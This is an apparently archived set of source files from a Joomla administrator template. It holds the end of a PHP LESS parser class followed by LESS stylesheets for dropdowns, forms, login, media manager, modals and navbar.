protected function pushBlock($selectors = null, $type = null)
{
$b = new stdclass;
$b->parent = $this->env;
$b->type = $type;
$b->id = self::$nextBlockId++;
// TODO: kill me from here
$b->isVararg = false;
$b->tags = $selectors;
$b->props = array();
$b->children = array();
$this->env = $b;
return $b;
}
/**
* Push a block that doesn't multiply tags
*
* @param [type] $type [description]
*
* @return stdClass
*/
protected function pushSpecialBlock($type)
{
return $this->pushBlock(null, $type);
}
/**
* Append a property to the current block
*
* @param [type] $prop [description]
* @param [type] $pos [description]
*
* @return void
*/
protected function append($prop, $pos = null)
{
if ($pos !== null)
{
$prop[-1] = $pos;
}
$this->env->props[] = $prop;
}
/**
* Pop something off the stack
*
* @return [type] [description]
*/
protected function pop()
{
$old = $this->env;
$this->env = $this->env->parent;
return $old;
}
/**
* Remove comments from $text
*
* @param [type] $text [description]
*
* @todo: make it work for all functions, not just url
*
* @return [type] [description]
*/
protected function removeComments($text)
{
$look = array(
'url(', '//', '/*', '"',
"'"
);
$out = '';
$min = null;
while (true)
{
// Find the next item
foreach ($look as $token)
{
$pos = strpos($text, $token);
if ($pos !== false)
{
if (!isset($min) || $pos < $min[1])
{
$min = array($token, $pos);
}
}
}
if (is_null($min))
break;
$count = $min[1];
$skip = 0;
$newlines = 0;
switch ($min[0])
{
case 'url(':
if (preg_match('/url\(.*?\)/', $text, $m, 0, $count))
{
$count += strlen($m[0]) - strlen($min[0]);
}
break;
case '"':
case "'":
if (preg_match('/' . $min[0] . '.*?' . $min[0] .
'/', $text, $m, 0, $count))
{
$count += strlen($m[0]) - 1;
}
break;
case '//':
$skip = strpos($text, "\n", $count);
if ($skip === false)
{
$skip = strlen($text) - $count;
}
else
{
$skip -= $count;
}
break;
case '/*':
if (preg_match('/\/\*.*?\*\//s', $text, $m, 0, $count))
{
$skip = strlen($m[0]);
$newlines = substr_count($m[0], "\n");
}
break;
}
if ($skip == 0)
{
$count += strlen($min[0]);
}
$out .= substr($text, 0, $count) . str_repeat("\n",
$newlines);
$text = substr($text, $count + $skip);
$min = null;
}
return $out . $text;
}
}
blocks/_chzn-override.less000064400000013243151163446350011642
0ustar00.chzn-container {
.chzn-drop {
border-radius: 0 0 3px 3px;
}
}
// Fluid width
.control-group .chzn-container {
max-width: 100%;
.chzn-choices li.search-field,
.chzn-choices li.search-field input { // Fix for #13594
width: 100% !important;
}
}
.chzn-container-single {
.chzn-single {
background-color: @white;
background-clip: inherit;
background-image: none;
border: 1px solid @inputBorder;
border: 1px solid rgba(0, 0, 0, 0.2);
border-radius: 3px;
box-shadow: 0 1px 0 rgba(255, 255, 255, 0.2) inset, 0 1px 2px
rgba(0, 0, 0, 0.05);
height: auto;
line-height: 26px;
div {
background-color: @btnBackground;
border-left: 1px solid @inputBorder;
bottom: 0;
height: auto;
text-align: center;
width: 28px;
b {
background-image: none;
display: inline-block;
&:after {
content: '\E011';
font-family: IcoMoon;
}
}
}
abbr {
background: none;
right: 36px;
top: 0;
&:before {
font-family: IcoMoon;
content: '\0049';
font-size: 10px;
line-height: 26px;
}
&:hover {
color: #000;
}
}
}
.chzn-search {
&:after {
content: '\0053';
font-family: IcoMoon;
position: relative;
right: 20px;
top: 2px;
}
input[type="text"] {
background: none;
border-radius: @inputBorderRadius;
border: 1px solid @inputBorder;
box-shadow: none;
height: 25px;
&:focus {
border-color: @inputBorderHighlight;
}
}
}
.chzn-drop {
background-clip: padding-box;
border-color: @inputBorderHighlight;
border-radius: 0 0 3px 3px;
}
}
.chzn-container-active {
.chzn-single {
color: @inputBorderHighlight;
}
&.chzn-with-drop {
.chzn-single {
background-image: none;
border: 1px solid @inputBorderHighlight;
border-bottom-left-radius: 0;
border-bottom-right-radius: 0;
div {
background-color: @btnBackground;
border-bottom: 1px solid @inputBorder;
border-bottom-left-radius: @inputBorderRadius;
border-left: 1px solid @inputBorder;
b {
&:after {
content: '\E00F';
font-family: IcoMoon;
}
}
}
}
}
&.chzn-container-multi {
.chzn-choices {
border: 1px solid @inputBorderHighlight;
box-shadow: none;
}
}
}
.chzn-container .chzn-results {
background-color: @white;
border-radius: 0 0 @inputBorderRadius @inputBorderRadius;
margin: 0;
padding: 0;
li.highlighted {
background-color: @inputBorderHighlight;
background-image: none;
}
}
.chzn-color[rel="value_"] div {
background-color: @btnBackground;
border-left: 1px solid @inputBorder;
}
.chzn-color-state.chzn-single,
.chzn-color.chzn-single[rel="value_0"],
.chzn-color.chzn-single[rel="value_1"],
.chzn-color-state.chzn-single[rel="value_-1"],
.chzn-color-state.chzn-single[rel="value_-2"],
.chzn-color.chzn-single[rel="value_hide"],
.chzn-color.chzn-single[rel="value_show_no_link"],
.chzn-color.chzn-single[rel="value_show_with_link"] {
div {
background-color: transparent !important;
border: none !important;
}
}
.chzn-container-active .chzn-choices {
border: 1px solid @inputBorderHighlight;
}
.chzn-container-multi {
.chzn-choices {
background-image: none;
border-radius: @inputBorderRadius;
border: 1px solid @inputBorder;
li.search-choice {
background-color: @inputBorderHighlight;
background-image: none;
border: 0;
box-shadow: none;
color: #fff;
line-height: 20px;
padding: 0 7px;
.search-choice-close {
color: #f5f5f5;
display: inline-block;
margin-left: 5px;
position: relative;
top: 0;
left: 0;
background-image: none;
font-size: inherit;
&:hover {
text-decoration: none;
}
&:before {
font-family: IcoMoon;
content: '\004A';
position: relative;
right: 1px;
top: 0;
}
}
}
}
}
.js-stools .js-stools-container-bar .js-stools-field-filter .chzn-container
{
margin: 1px 0;
padding: 0 !important;
}
/* Chosen color styles */
.chzn-color.chzn-single[rel="value_1"],
.chzn-color-reverse.chzn-single[rel="value_0"],
.chzn-color-state.chzn-single[rel="value_1"],
.chzn-color.chzn-single[rel="value_show_no_link"],
.chzn-color.chzn-single[rel="value_show_with_link"] {
.buttonBackground(@btnSuccessBackground, @btnSuccessBackgroundHighlight);
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);
color: #ffffff;
}
.chzn-color-state.chzn-single[rel="value_0"],
.chzn-color-state.chzn-single[rel="value_-2"] {
.buttonBackground(@btnDangerBackground, @btnDangerBackgroundHighlight);
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);
color: #ffffff;
}
blocks/_custom.less000064400000011357151163446350010401 0ustar00// Custom
/* Links */
.j-links-separator {
margin: 20px 0px;
width: 100%;
height: 0px;
border-top: 2px solid #DDDDDD;
}
/* Main Container & System Debug Padding */
.container-main,
#system-debug {
padding-bottom: 50px;
}
/* Pagination in toolbar */
.pagination-toolbar {
margin: 0;
}
.pagination-toolbar a {
line-height: 26px;
}
/* Dropdown */
.pull-right > .dropdown-menu,
.dropdown-reverse {
left: auto;
right: 0;
}
/* Nav list filters */
.nav-filters hr {
margin: 5px 0;
}
/* Module Assignment Tab */
#assignment.tab-pane {
min-height: 500px;
}
@media (max-width: @lg-max) {
.container-fluid {
padding-left: 10px;
padding-right: 10px;
}
}
@media (min-width: @md) {
body {
padding-top: 30px;
}
.nav-collapse.collapse.in {
height: auto !important;
}
}
@media (max-width: @md-max) {
.container-fluid {
padding-left: 0;
padding-right: 0;
}
}
@media (max-width: @sm-max) {
.pagination a {
padding: 5px;
}
.btn-group.divider,
.header .row-fluid .span3,
.header .row-fluid .span7 {
display: none;
}
.btn-group + .btn-group {
margin-left: 10px;
}
}
/* Extension type labels */
.info-labels {
margin-top: -5px;
margin-bottom: 10px;
}
/* Sortable list*/
.sortable-handler.inactive {
opacity: 0.3;
filter: alpha(opacity=30);
}
/* Joomla and Extension update message */
.alert-joomlaupdate {
text-align: center;
button {
vertical-align: baseline;
}
}
.j-jed-message {
line-height: 2em;
color:#333333;
}
/* z-index issues */
.moor-box {
z-index: 3;
}
.admin .chzn-container .chzn-drop {
z-index: 1060;
}
/* Item associations */
.item-associations {
margin: 0;
}
.item-associations li {
list-style: none;
display: inline-block;
margin: 0 0 3px 0;
}
.item-associations li a {
color: #ffffff;
}
/* Content Languages flag */
#flag img {
padding-top: 6px;
vertical-align: top;
}
/* Tweaking of tooltips */
.tooltip {
max-width: 400px;
}
.tooltip-inner {
max-width: none;
text-align: left;
text-shadow: none;
}
th .tooltip-inner {
font-weight: normal;
}
.tooltip.hasimage {
opacity: 1;
}
/* Permissions dropdown display */
#permissions-sliders {
.chzn-container {
margin-top: -5px;
position: absolute;
}
.table td {
padding: 8px 8px 9px;
}
}
.img-preview > img {
max-height: 100%;
}
.alert-no-items {
margin-top: 20px;
}
@media (max-width: @md-max) {
html[dir=rtl] #toolbar #toolbar-options,
html[dir=rtl] #toolbar #toolbar-help,
#toolbar #toolbar-options,
#toolbar #toolbar-help {
float: none;
}
}
/* Widen the drop downs for the Permissions Field */
#permissions-sliders .input-small {
width: 120px;
}
.editor {
overflow: hidden;
position: relative
}
.editor textarea.mce_editable {
box-sizing: border-box;
}
/* For grid.boolean */
a.grid_false {
display: inline-block;
height: 16px;
width: 16px;
background-image: url('../images/admin/publish_r.png');
}
a.grid_true {
display: inline-block;
height: 16px;
width: 16px;
background-image: url('../images/admin/icon-16-allow.png');
}
/* Box-shadow from focused fields */
textarea, input, .uneditable-input {
box-shadow: none !important;
}
textarea:focus, input:focus, .uneditable-input:focus {
box-shadow: none;
border: 1px solid @inputBorderHighlight;
}
/* Stats plugin */
.js-pstats-data-details dd {
margin-left: 240px;
}
.js-pstats-data-details dt {
width: 220px;
}
/* ACL Permission page */
#permissions,
#page-permissions {
table {
td {
vertical-align: middle;
}
select {
margin-bottom: 0;
}
}
}
.js-stools-container-bar .btn-primary .caret {
border-bottom: 4px solid @white;
}
.input-append .add-on, .input-append .btn, .input-append .btn-group >
.dropdown-toggle, .input-prepend .add-on, .input-prepend .btn,
.input-prepend .btn-group > .dropdown-toggle {
-webkit-border-radius: 0 @inputBorderRadius @inputBorderRadius 0;
-moz-border-radius: 0 @inputBorderRadius @inputBorderRadius 0;
border-radius: 0 @inputBorderRadius @inputBorderRadius 0;
}
/* Removes Text Shadows */
.alert,
.alert-options,
.badge,
.breadcrumb > li,
.close,
.input-append .add-on,
.input-prepend .add-on,
.label,
.nav-header,
.nav-list .nav-header,
.nav-list > .active > a,
.nav-list > .active > a:focus,
.nav-list > .active > a:hover,
.nav-list > li > a,
.nav-tabs.nav-dark,
.navbar .brand,
.navbar .nav > li > a,
.navbar-inverse .brand,
.navbar-inverse .nav > li > a,
.navbar-inverse .navbar-search .search-query.focused,
.navbar-inverse .navbar-search .search-query:focus,
.progress .bar,
.subhead {
text-shadow: none;
}
/* Popover minimum height - overwrite bootstrap default */
.popover-content {
min-height: 33px;
}
/* Overrid font-weight 200 */
.lead, .navbar .brand, .hero-unit, .hero-unit .lead {
font-weight: 400;
}
/* Stick permissions tab */
@media (min-width: @xl) {
#permissions {
.tab-content {
position: sticky;
top: 90px;
}
}
}
blocks/_editors.less000064400000000145151163446350010531 0ustar00// Editors
.CodeMirror {
height: calc(~"100vh - 400px");
min-height: 400px;
max-height: 800px;
}
blocks/_forms.less000064400000013433151163446350010212 0ustar00// Forms
// Normalize LTR Label (JBS request)
// --------------------------
.form-horizontal {
// Float the labels left
.control-label {
padding-right: 5px;
text-align: left;
// Set a width for the spacer hr so it shows
.spacer hr {
width: 380px;
@media (max-width: 420px) {
width: 220px;
}
}
}
.field-spacer>.control-label{
width: auto;
}
#jform_catid_chzn {
vertical-align: middle;
}
}
.form-vertical {
.control-label {
> label {
display: inline-block;
.ie7-inline-block();
}
}
.controls {
margin-left: 0;
}
}
@media (max-width: @lg-max) {
.form-horizontal-desktop {
.control-label {
float: none;
width: auto;
padding-right: 0;
padding-top: 0;
text-align: left;
> label {
display: inline-block;
.ie7-inline-block();
}
}
.controls {
margin-left: 0;
}
}
}
@media (max-width: @xl-max) {
.row-fluid .row-fluid .form-horizontal-desktop {
.control-label {
float: none;
width: auto;
padding-right: 0;
padding-top: 0;
text-align: left;
> label {
display: inline-block;
.ie7-inline-block();
}
}
.controls {
margin-left: 0;
}
}
}
.form-inline-header {
margin: 5px 0;
.control-group,
.control-label,
.controls {
display: inline-block;
.ie7-inline-block();
}
.control-label {
width: auto;
padding-right: 10px;
}
.controls {
padding-right: 20px;
}
}
/* Make fieldsets responsive */
fieldset[class^="form-"] {
min-width: 100%;
}
/* Make fieldsets responsive in Firefox. See
http://getbootstrap.com/css/#tables-responsive */
@-moz-document url-prefix() {
fieldset[class^="form-"] { display: table-cell; }
}
/* Display checkboxes without bullets in list */
fieldset.checkboxes input {
float: left;
}
fieldset.checkboxes li {
list-style: none;
}
/* Make form elements responsive */
.control-group,
.controls,
.controls input[type="text"],
.controls input[type="number"],
.controls input[type="email"],
.controls select,
.controls textarea
{
max-width: 100%;
}
/* Min-width on buttons */
.controls .btn-group > .btn {
min-width: 50px;
margin-left: -1px;
}
.controls .btn-group.btn-group-yesno {
width: 220px;
max-width: 100%;
> .btn {
width: 50%;
min-width: 40px;
padding: 2px 0;
}
}
/* Title field */
input.input-large-text {
font-size: 18px;
line-height: 22px;
height: auto;
}
/* Customize Textarea Resizing */
textarea {
resize: both;
}
textarea.vert {
resize: vertical;
}
textarea.noResize {
resize: none;
}
/* Repeatable SubForm */
.subform-repeatable {
padding-right: 10px;
> .btn-toolbar {
margin: 0;
.group-add {
line-height: 26px;
width: 56px;
font-size: 13px;
margin-left: 28px;
}
}
}
.subform-repeatable-group {
margin-top: 20px;
margin-left: 28px;
border: 1px solid @inputBorder;
padding: 8px 25px 15px;
position: relative;
border-radius: @inputBorderRadius;
> .btn-toolbar {
margin: 0;
.btn-group {
margin-right: 0px;
margin-top: -1px;
position: static;
}
.btn {
font-size: 13px;
line-height: 26px;
background-color: #F3F3F3;
position: absolute;
span {
vertical-align: middle;
line-height: 11px;
}
&.btn-success {
color: #378137;
bottom: 0;
right: 0;
border-radius: @inputBorderRadius 0 0 0;
border-width: 1px 0 0 1px;
padding-top: 1px;
.icon-plus:before {
content: "]";
}
}
&.btn-danger {
color: #942a25;
top: 0;
right: 0;
border-radius: 0 0 0 @inputBorderRadius;
border-width: 0 0 1px 1px;
.icon-minus:before {
content: "I";
}
}
&.btn-primary {
color: #24748c;
color: #333;
right: 100%;
top: 50%;
margin-top: -27px;
margin-right: 1px;
border-radius: @inputBorderRadius 0 0 @inputBorderRadius;
border-width: 1px 0 1px 1px;
line-height: 52px;
.icon-move:before {
content: "Z";
}
}
[class^="icon-"], [class*=" icon-"] {
margin: 0;
}
&:hover {
background-color: #E6E6E6;
}
}
}
&:nth-child(odd) {
}
&:nth-child(even) {
}
&:last-of-type {
}
.control-group:last-of-type {
margin-bottom: 10px;
}
}
@media (max-width: @lg-max) {
.subform-repeatable-group > .btn-toolbar .btn-group {
margin-bottom: 10px;
}
}
.subform-table-layout {
.control-group {
margin-bottom: 10px;
&:last-of-type {
margin-bottom: 0;
}
}
.controls {
padding-right: 20px;
}
.btn-group {
}
input {
width: 100%;
max-width: 206px;
}
table .btn-group {
margin: 0 7px;
}
}
@media (max-width: 1024px) {
.subform-table-layout {
.subform-repeatable {
padding-right: 0;
tbody td:last-of-type {
text-align: right;
padding-bottom: 15px;
}
}
table, thead, tbody, th, td, tr {
display: block;
}
table {
border: 1px solid #ddd;
}
thead {
th {
position: absolute;
top: -9999px;
left: -9999px;
&:last-of-type {
position: static;
width: 100% !important;
text-align: right;
box-sizing: border-box;
border-left: 0;
}
}
}
tr {
margin: 0;
padding: 0;
border: 0;
}
td {
border: none;
position: relative;
padding-left: 50%;
}
tbody {
td:first-of-type {
padding-top: 15px;
border-top: 1px solid #ddd;
&:before {top:18px;}
}
}
td:before {
content: attr(data-column);
position: absolute;
top: 13px;
left: 10px;
padding-right: 10px;
}
}
}
/* Remove unneeded space between label and field in vertical forms */
.controls > .radio:first-child,
.controls > .checkbox:first-child {
padding-top: 0;
.form-horizontal & {
padding-top: 5px;
}
}
/* Align btn-group to label */
.form-horizontal .controls > .radio.btn-group:first-child {
padding-top: 0;
}
/* Align btn-group-yesno to label */
.form-horizontal .controls > .radio.btn-group-yesno:first-child {
padding-top: 2px;
}
/* Fix field media width */
input.field-media-input {
width: auto;
}
blocks/_global.less000064400000002176151163446350010326 0ustar00// Global
/* Body */
html {
height: 100%;
}
body {
height: 100%;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
box-sizing: border-box;
}
a:hover,
a:active,
a:focus {
outline: none;
}
/* Typography */
.small {
font-size: 11px;
}
.row-even .small,
.row-odd .small,
.row-even .small a,
.row-odd .small a {
color: #888;
}
/* Page Title in Content */
.content-title {
font-size: 24px;
font-weight: normal;
line-height: 26px;
margin-top: 0;
}
/* Content */
.well .page-header {
margin: -10px 0 18px 0;
padding-bottom: 5px;
}
.well .module-title.nav-header {
padding: 0 0 7px;
margin: 0;
font-size: 13px;
}
.well .row-even p,
.well .row-odd p {
margin-bottom: 0;
}
/* Headings */
h1, h2, h3, h4, h5, h6 {
margin: (@baseLineHeight / 1.5) 0;
}
h1 {
font-size: 26px;
line-height: 28px;
}
h2 {
font-size: 22px;
line-height: 24px;
}
h3 {
font-size: 18px;
line-height: 20px;
}
h4 {
font-size: 14px;
line-height: 16px;
}
h5 {
font-size: 13px;
line-height: 15px;
}
h6 {
font-size: 12px;
line-height: 14px;
}
.truncate {
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
}
blocks/_header.less000064400000001665151163446350010320 0ustar00// header
.header {
background-color: @headerBackground;
border-top: 1px solid rgba(255, 255, 255, 0.2);
padding: 8px 25px;
}
@media (max-width: @md-max) {
.header {
padding: 4px 18px;
margin-left: -20px;
margin-right: -20px;
}
}
.header .navbar-search {
margin-top: 0;
}
@media (max-width: @lg-max) {
.header .navbar-search {
border-top: 0;
border-bottom: 0;
.box-shadow(none);
}
}
/* Logo */
.container-logo {
float: right;
text-align: right;
}
.logo {
width: auto;
max-width: 100%;
max-height: 36px;
height: auto;
}
/* Page Title */
.page-title {
color: white;
font-weight: normal;
font-size: 20px;
line-height: 36px;
margin: 0;
[class^="icon-"],
[class*=" icon-"] {
margin-right: 16px;
}
}
@media (max-width: @md-max) {
.container-logo {
display: none;
}
.page-title {
font-size: 18px;
line-height: 28px;
[class^="icon-"],
[class*=" icon-"] {
margin-right: 10px;
}
}
}
blocks/_login.less000064400000002401151163446350010165 0ustar00// Login
.view-login {
background-color: @loginBackground;
padding-top: 0;
.container {
width: 300px;
position: absolute;
top: 50%;
left: 50%;
margin-top: -206px;
margin-left: -150px;
}
.navbar-fixed-bottom {
padding-left: 20px;
padding-right: 20px;
text-align: center;
}
.navbar-fixed-bottom,
.navbar-fixed-bottom a {
color: #FCFCFC;
}
.navbar-inverse.navbar-fixed-bottom,
.navbar-inverse.navbar-fixed-bottom a {
color: @gray;
}
.well {
padding-bottom: 0;
}
.login-joomla {
position: absolute;
left: 50%;
height: 24px;
width: 24px;
margin-left: -12px;
font-size: 22px;
}
.navbar-fixed-bottom {
position: absolute;
}
.input-medium {
width: 176px;
}
#lang_chzn {
width: 233px !important;
max-width: none;
.chzn-single div {
width:43px;
}
}
.input-prepend .add-on, .controls .btn-group > .btn {
margin-left:0;
}
}
.navbar-inverse {
color: @textColor;
}
.login {
.btn-large {
margin-top: 15px;
}
.form-inline .btn-group {
display:block;
}
}
@media (max-width: @sm-max) {
.login .chzn-single {
width: 222px !important;
}
.login .chzn-container,
.login .chzn-drop {
width: 230px !important;
}
}
@media (max-width: @xs-max) {
.view-login .navbar-fixed-bottom {
display: none;
}
}blocks/_media.less000064400000011770151163446350010145 0ustar00// Media
/* Spacing below buttons in media manager */
.ventral-space{
margin-bottom: 5px;
}
/* Media Manager folder icon override */
ul.manager .height-50 .icon-folder-2 {
height: 35px;
width: 35px;
line-height: 35px;
font-size: 30px;
}
#imageForm {
.well {
margin-bottom: 5px;
}
}
.thumbnails-media {
@thumbSize:100px;
.thumbnail {
background-color: #f4f4f4;
border-radius: @inputBorderRadius;
border: 0;
box-shadow: 0 0 0 1px rgba(0, 0, 0, 0.05) inset;
padding: 0px;
height: @thumbSize;
width: @thumbSize;
margin: 8px;
position: relative;
text-align: center;
overflow: hidden;
.close {
background-color: #ccc;
border-left: 1px solid rgba(0, 0, 0, 0.1);
height: 22px;
line-height: 22px;
opacity: 0.3;
text-align: center;
width: 22px;
top: 0;
right: 0;
&:hover {
background-color: #bbb;
}
}
*, *:before {
-webkit-transition: all 0.2s ease;
transition: all 0.2s ease;
-webkit-box-sizing: border-box;
box-sizing: border-box;
}
input[type="radio"], input[type="checkbox"] {
margin: 0;
opacity: 0.55;
position: absolute;
top: 5px;
left: 5px;
}
.controls, .imginfoBorder {
display: none;
}
}
.imgThumb {
position: relative;
z-index: 1;
width:100%;
display: inline-block;
input {
display: none;
}
label, .imgThumbInside {
display: block;
line-height: @thumbSize;
position: relative;
width: 100%;
border-radius: @inputBorderRadius;
overflow: hidden;
&:before {
font-family: "IcoMoon";
font-style: normal;
content: 'G';
position: absolute;
top: 0;
right: 0;
background-color: @btnSuccessBackground;
color: #fff;
line-height: 26px;
width: 26px;
-webkit-transform: scale(0.5);
transform: scale(0.5);
opacity: 0;
border-color: rgba(0, 0, 0, 0.2);
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);
border-radius: 0 @inputBorderRadius;
}
}
img {
width: auto;
}
}
.selected, .imgInput {
:checked + label, .imgThumbInside {
background-color: #ddd;
&:before {
-webkit-transform: scale(1);
transform: scale(1);
opacity: 1;
}
&:after {
position: absolute;
top: 0;
left: 0;
right: 0;
bottom: 0;
content: '';
border: 3px solid @btnSuccessBackground;
border-radius: 5px;
}
}
}
.imgDelete a.close, .imgPreview a {
padding: 0;
position: absolute;
left: 0;
z-index: 1;
height: 26px;
width: 26px;
}
.imgPreview a {
width: 100%;
}
.imgDelete a.close {
background-color: @btnDangerBackground;
border-color: @btnDangerBackground rgba(0, 0, 0, 0.2) rgba(0, 0, 0,
0.2) @btnDangerBackground;
top: 0;
line-height: 28px;
font-size: 12px;
padding-left: 1px;
color: #fff;
border-bottom-right-radius: @inputBorderRadius;
border-top-left-radius: @inputBorderRadius;
z-index: 10;
opacity: 0;
-webkit-transform: scale(0.5);
transform: scale(0.5);
&:hover {
background-color: darken(@btnDangerBackground, 15%);
}
}
.thumbnail:hover .imgDelete a.close {
opacity: 1;
-webkit-transform: scale(1);
transform: scale(1);
}
.imgPreview a, .imgDetails {
position: absolute;
left:0;
text-align: left;
background-color: #fff;
border-color: rgba(0, 0, 0, 0.2);
bottom: 0;
line-height: 26px;
border: 1px solid rgba(0, 0, 0, 0.1);
border-width: 1px;
border-radius: 0 @inputBorderRadius 0 0;
z-index: 1;
&:hover {
background-color: #eee;
}
}
.imgDetails {
padding: 0 5px;
line-height: 20px;
color: #555;
}
.imgFolder {
span {
line-height: 90px;
font-size: 38px;
margin: 0;
width: auto;
}
}
.imgFolder + .imgDetails {
color: inherit;
}
}
// Media Manager
.com_media {
.media a + a {
margin-left: -1px;
}
.tree-holder {
padding: 0 15px;
}
}
#folderframe.thumbnail {
border: 0;
box-shadow: none;
padding: 0;
}
#mediamanager-form {
margin: 0 -10px;
overflow-x: hidden;
> .muted {
padding: 0px;
}
.checkbox {
padding-left: 30px;
margin-bottom: 15px;
input {
margin-top: 3px;
}
}
.thumbnails {
margin: 0 -8px;
overflow-x: hidden;
.thumbnail {
height: 120px;
width: 120px;
margin: 8px
}
.imgThumb label, .imgTotal {
line-height: 120px;
}
}
.icon-search::before {
padding-right: 5px;
padding-left: 1px;
}
.height-50 {
background-color: #fafafa;
height: 77px;
position: relative;
z-index: 1;
width:100%;
display: inline-block;
a, .icon-folder-2 {
display: inline-block;
line-height: 75px;
margin-top: -1px;
}
a {
&:after {
bottom: 0;
box-shadow: 0 0 0 1px rgba(0, 0, 0, 0.08) inset;
content: "";
display: block;
left: 0;
overflow: hidden;
position: absolute;
right: 0;
top: 0;
}
}
.icon-folder-2 {
font-size: 40px;
}
}
}
.uploadform {
margin-top: 20px;
}
blocks/_modals.less000064400000001417151163446350010342 0ustar00// Modals
body.modal-open {
-ms-overflow-style: none;
}
.modal-header {
padding: 0 20px;
text-align: left;
h3 {
font-weight: normal;
line-height: 50px;
}
.close {
width: 50px;
margin-top: 0;
margin-right: -15px;
font-size: 2rem;
line-height: 50px;
border-left: 1px solid #ccc;
}
}
.modal-body {
padding: 0;
width: 100%;
height: auto;
max-height: none;
.container-fluid {
padding-top: 15px;
padding-bottom: 15px;
}
}
.modal-footer {
clear: both;
}
.contentpane {
padding: 10px;
height: auto
}
@media (min-width: @md) {
.row-fluid .modal-batch [class*="span"] {
margin-left: 0;
}
}
// Component pop-up
.container-popup {
padding: 10px;
}
// Media modal
.field-media-wrapper iframe {
max-height: 75vh;
}blocks/_navbar.less000064400000011101151163446350010323 0ustar00// Navbar
body .navbar,
body .navbar-fixed-top {
margin-bottom: 0;
}
.navbar-inner {
min-height: 0;
background: @navbarBackground;
background-image: none;
filter: none;
.container-fluid {
padding-left: 10px;
padding-right: 10px;
font-size: 15px;
}
}
.navbar-inverse {
.navbar-inner {
background: @navbarInverseBackground;
background-image: none;
filter: none;
}
}
.navbar {
.navbar-text {
line-height: 30px;
}
.admin-logo {
float: left;
padding: 7px 12px 0px 15px;
font-size: 16px;
color: @gray;
&:hover {
color: @grayDark;
}
.navbar-inverse& {
color: #d9d9d9;
&:hover {
color: #ffffff;
}
}
}
.brand {
float: right;
display: block;
padding: 6px 10px;
margin-left: -20px;
font-size: inherit;
font-weight: normal;
&:hover,
&:focus {
text-decoration: none;
}
}
.nav > li > a {
padding: 6px 10px;
&:hover {
color: white;
}
&:hover span.carot {
border-bottom-color: #fff;
border-top-color: #fff;
}
}
.dropdown-menu,
.nav-user {
font-size: 13px;
}
.nav-user .dropdown-menu li span {
padding-left: 10px;
}
.nav > li ul {
overflow-y: auto;
overflow-x: hidden;
-webkit-overflow-scrolling: touch;
-moz-overflow-scrolling: touch;
-ms-overflow-scrolling: touch;
-o-overflow-scrolling: touch;
overflow-scrolling: touch;
height: auto;
max-height: 500px;
margin: 0;
&::-webkit-scrollbar {
-webkit-appearance: none;
width: 7px;
}
&::-webkit-scrollbar-thumb {
border-radius: 4px;
background-color: rgba(0,0,0,.5);
-webkit-box-shadow: 0 0 1px rgba(255,255,255,.5);
}
}
.nav > li > .dropdown-menu:after {
display: none;
}
.nav > .dropdown.open:after {
content: '';
display: inline-block;
border-left: 6px solid transparent;
border-right: 6px solid transparent;
border-bottom: 6px solid #fff;
position: absolute;
top: 25px;
left: 10px;
z-index: 1001;
}
.empty-nav {
display: none;
}
}
.navbar-fixed-top,
.navbar-static-top {
.navbar-inner {
.box-shadow(none);
}
}
.dropdown-menu > li > a:hover, .dropdown-menu > li > a:focus,
.dropdown-submenu:hover > a, .dropdown-submenu:focus > a {
background-image: none;
}
// Fixed to bottom
.navbar-fixed-bottom {
bottom: 0;
.navbar-inner {
.box-shadow(none);
}
}
.navbar .btn-navbar {
background: #17568c;
border: 1px solid #0D2242;
margin-bottom: 2px;
}
@media (max-width: @md-max) {
.navbar .admin-logo {
margin-left: 10px;
padding: 9px 9px 0 9px;
}
}
/* Search Module */
.navbar-search .search-query {
background: rgba(255, 255, 255, 0.3);
}
@media (max-width: @lg-max) {
.navbar {
.nav {
font-size: 13px;
margin: 0 2px 0 0;
> li {
> a {
padding: 6px;
}
}
}
}
}
@media (max-width: @md-max) {
.navbar-search.pull-right {
float: none;
text-align: center;
}
}
@media (max-width: 738px) {
.navbar {
.brand {
font-size: 16px;
}
}
}
// Navbar
.nav-collapse .nav li a,
.dropdown-menu a {
background-image: none;
}
.nav-collapse .dropdown-menu > li {
img {
max-width: none;
}
}
@media (max-width: @navbarCollapseWidth) {
.navbar-fixed-top .navbar-inner,
.navbar-fixed-top .navbar-inner .container-fluid {
padding: 0;
}
.navbar .brand {
margin-top: 2px;
float: none;
text-align: center;
}
.navbar .btn-navbar {
margin-top: 3px;
margin-right: 3px;
margin-bottom: 3px;
}
.nav-collapse .nav .nav-header {
color: @white;
}
.nav-collapse .nav,
.navbar .nav-collapse .nav.pull-right {
margin: 0;
}
.nav-collapse .dropdown-menu {
margin: 0;
}
.nav-collapse .dropdown-menu > li > span {
display: block;
padding: 4px 15px;
}
.navbar-inverse .nav-collapse .dropdown-menu > li > span {
color: @navbarInverseLinkColor;
}
.nav-collapse .nav > li > a.dropdown-toggle {
background-color: rgba(255, 255, 255, 0.07);
font-size: 12px;
font-weight: bold;
color: @grayLighter;
text-transform: uppercase;
padding-left: 15px;
}
.nav-collapse .nav li a {
margin-bottom: 0;
border-top: 1px solid rgba(255, 255, 255, 0.25);
border-bottom: 1px solid rgba(0, 0, 0, 0.5);
}
.nav-collapse .nav li ul li ul.dropdown-menu,
.nav-collapse .nav li ul li:hover ul.dropdown-menu,
.nav-collapse .caret {
display: none !important;
}
.nav-collapse .nav > li > a,
.nav-collapse .dropdown-menu a {
font-size: 15px;
font-weight: normal;
color: @white;
.border-radius(0);
}
.navbar .nav-collapse .nav > li > .dropdown-menu::before,
.navbar .nav-collapse .nav > li > .dropdown-menu::after,
.navbar .nav-collapse .dropdown-submenu > a::after {
display: none;
}
.nav-collapse .dropdown-menu li + li a {
margin-bottom: 0;
}
}blocks/_quickicons.less000064400000000731151163446350011231 0ustar00//
Quick-icons
.quick-icons {
font-size: 14px;
margin-bottom: 20px;
.nav-header {
margin: 12px 0 5px;
font-size: 13px;
&:first-child {
margin: 0 0 5px;
}
}
[class^="icon-"],
[class*=" icon-"] {
margin-right: 9px;
&:before {
font-size: 16px;
margin-bottom: 20px;
line-height: 18px;
}
}
}
html[dir=rtl] .quick-icons .nav-list [class^="icon-"],
html[dir=rtl] .quick-icons .nav-list [class*=" icon-"] {
margin-left: 9px;
margin-right: 0;
}
blocks/_sidebar.less000064400000004476151163446350010504 0ustar00// Sidebar
